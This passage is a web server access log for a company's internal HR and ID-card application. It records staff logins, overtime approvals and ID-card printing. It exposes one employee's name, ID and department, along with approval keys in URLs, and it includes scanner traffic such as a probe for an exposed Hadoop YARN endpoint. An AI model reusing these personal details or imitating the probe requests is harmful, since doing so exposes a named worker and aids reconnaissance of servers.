/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:09:11:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.12.64 - - [05/Dec/2025:09:11:55 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1364964 HTTP/1.1" 200 5357 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:11:55 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1364964 HTTP/1.1" 200 5357 192.168.12.64 - - [05/Dec/2025:09:11:56 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [05/Dec/2025:09:11:56 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 100.64.0.1 - - [05/Dec/2025:09:12:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA112EE9DAF27A5A465CE58061FC0DB5DCCC1513FF18A2F872EB34825DABC724A39E0AEA9CE2CA733599140DDE9847EDCD813936DA7740ACD10 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [05/Dec/2025:09:12:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA112EE9DAF27A5A465CE58061FC0DB5DCCC1513FF18A2F872EB34825DABC724A39E0AEA9CE2CA733599140DDE9847EDCD813936DA7740ACD10 HTTP/1.1" 200 - 100.64.0.1 - - [05/Dec/2025:09:12:38 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA112EE9DAF27A5A465CE58061FC0DB5DCCC1513FF18A2F872EB34825DABC724A39E0AEA9CE2CA733599140DDE9847EDCD813936DA7740ACD10 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [05/Dec/2025:09:12:38 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA112EE9DAF27A5A465CE58061FC0DB5DCCC1513FF18A2F872EB34825DABC724A39E0AEA9CE2CA733599140DDE9847EDCD813936DA7740ACD10 HTTP/1.1" 200 4166 100.64.0.1 - - [05/Dec/2025:09:12:38 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA112EE9DAF27A5A465CE58061FC0DB5DCCC1513FF18A2F872EB34825DABC724A39E0AEA9CE2CA733599140DDE9847EDCD813936DA7740ACD10" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [05/Dec/2025:09:12:38 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.125 - - [05/Dec/2025:09:32:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:32:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - 192.168.11.125 - - [05/Dec/2025:09:32:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:32:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [05/Dec/2025:09:32:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:32:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [05/Dec/2025:09:32:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:32:30 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [05/Dec/2025:09:32:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:32:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [05/Dec/2025:09:32:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:32:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [05/Dec/2025:09:33:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:33:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.125 - - [05/Dec/2025:09:33:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 8500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:09:33:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 8500 100.64.0.1 - - [05/Dec/2025:09:57:56 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [05/Dec/2025:09:57:56 +0800] "GET / HTTP/1.1" 200 439 192.168.11.146 - - [05/Dec/2025:10:02:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [05/Dec/2025:10:02:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [05/Dec/2025:10:02:16 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [05/Dec/2025:10:02:16 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:18 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:18 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [05/Dec/2025:10:02:18 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 8487 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:18 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 8487 192.168.11.146 - - [05/Dec/2025:10:02:19 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:19 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [05/Dec/2025:10:02:19 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:19 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 192.168.11.146 - - [05/Dec/2025:10:02:22 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:22 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 192.168.11.146 - - [05/Dec/2025:10:02:26 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:26 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [05/Dec/2025:10:02:31 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:31 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 192.168.11.146 - - [05/Dec/2025:10:02:32 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:32 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 192.168.11.146 - - [05/Dec/2025:10:02:34 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:02:34 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [05/Dec/2025:10:04:07 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:04:07 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [05/Dec/2025:10:04:08 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:04:08 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [05/Dec/2025:10:06:03 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:06:03 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 192.168.11.146 - - [05/Dec/2025:10:06:07 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7125 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:06:07 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7125 192.168.11.146 - - [05/Dec/2025:10:06:10 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&empid=X251000&empname=%E7%8E%8B%E7%BE%8E%E5%A5%BD&deptname=%E8%A3%BD%E4%B8%89%E9%83%A8 HTTP/1.1" 200 6627 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:06:10 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&empid=X251000&empname=%E7%8E%8B%E7%BE%8E%E5%A5%BD&deptname=%E8%A3%BD%E4%B8%89%E9%83%A8 HTTP/1.1" 200 6627 192.168.11.146 - - [05/Dec/2025:10:06:10 +0800] "GET /Apache%20Software%20Foundation/emphoto/X251000.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X251000&empname=%E7%8E%8B%E7%BE%8E%E5%A5%BD&deptname=%E8%A3%BD%E4%B8%89%E9%83%A8" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [05/Dec/2025:10:06:10 +0800] "GET /Apache%20Software%20Foundation/emphoto/X251000.jpg HTTP/1.1" 404 244 192.168.11.146 - - [05/Dec/2025:10:06:13 +0800] "GET /Apache%20Software%20Foundation/emphoto/X251000.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [05/Dec/2025:10:06:13 +0800] "GET /Apache%20Software%20Foundation/emphoto/X251000.jpg HTTP/1.1" 404 244 100.64.0.1 - - [05/Dec/2025:10:33:56 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [05/Dec/2025:10:33:56 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [05/Dec/2025:10:47:28 +0800] "\x03" 501 203 100.64.0.1 - - [05/Dec/2025:10:47:28 +0800] "\x03" 501 203 "-" "-" 172.16.88.185 - - [05/Dec/2025:10:57:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:57:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 172.16.88.185 - - [05/Dec/2025:10:57:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:57:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:57:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7221 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:57:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7221 172.16.88.185 - - [05/Dec/2025:10:57:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9233 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:57:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9233 172.16.88.185 - - [05/Dec/2025:10:57:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14003 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:57:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14003 172.16.88.185 - - [05/Dec/2025:10:58:04 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:04 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132745%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132745&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132745%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132745&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.16.88.185 - - [05/Dec/2025:10:58:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 172.16.88.185 - - [05/Dec/2025:10:58:06 +0800] "GET 